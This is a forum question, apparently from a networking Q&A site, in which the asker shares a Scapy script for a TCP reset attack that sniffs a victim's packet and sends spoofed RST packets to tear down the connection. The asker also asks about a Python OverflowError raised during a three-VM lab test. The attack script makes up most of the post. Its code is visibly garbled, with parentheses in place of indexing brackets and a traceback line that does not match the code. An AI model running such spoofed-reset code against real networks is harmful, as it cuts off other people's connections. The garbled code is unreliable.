networking – OverflowError: Python int too large to convert to C long – TCP Reset Attack code

I got the following code from here: https://gist.github.com/spinpx/263a2ed86f974a55d35cf6c3a2541dc2

I tried to perform the attack using 3 Ubuntu VMs (Ubuntu 16.04.2 LTS
). Here’s my code:

#!/usr/bin/python

from scapy.all import *

win=512
tcp_rst_count = 10
victim_ip = "10.0.2.5"
your_iface = "enp0s3"

# get a tcp packet by sniffing LAN
t = sniff(iface=your_iface, count=1,
                    lfilter=lambda x: x.haslayer(TCP)
                    and x(IP).src == victim_ip)

t = t(0)
tcpdata = {
        'src': t(IP).src,
        'dst': t(IP).dst,
        'sport': t(TCP).sport,
        'dport': t(TCP).dport,
        'seq': t(TCP).seq,
        'ack': t(TCP).ack
    }

max_seq = tcpdata('ack') + tcp_rst_count * win
seqs = range(tcpdata('ack'), max_seq, int(win / 2))
p = IP(src=tcpdata('dst'), dst=tcpdata('src')) / 
                TCP(sport=tcpdata('dport'), dport=tcpdata('sport'),
                                flags="R", window=win, seq=seqs(0))

for seq in seqs:
        p.seq = seq
        send(p, verbose=0, iface=your_iface)
        print('tcp reset attack finish')

The code is run in VM1. I run it and I try to telnet from VM2 to VM3 and as soon as I do that I get the following exception:

Traceback (most recent call last):
  File "./tcp_rst.py", line 26, in <module>
    seqs = range(tcpdata('ack'), max_seq, long(win / 2))
OverflowError: Python int too large to convert to C long

What could be the culprit of this. While doing some research, I haven’t seen this exception occur with the range function.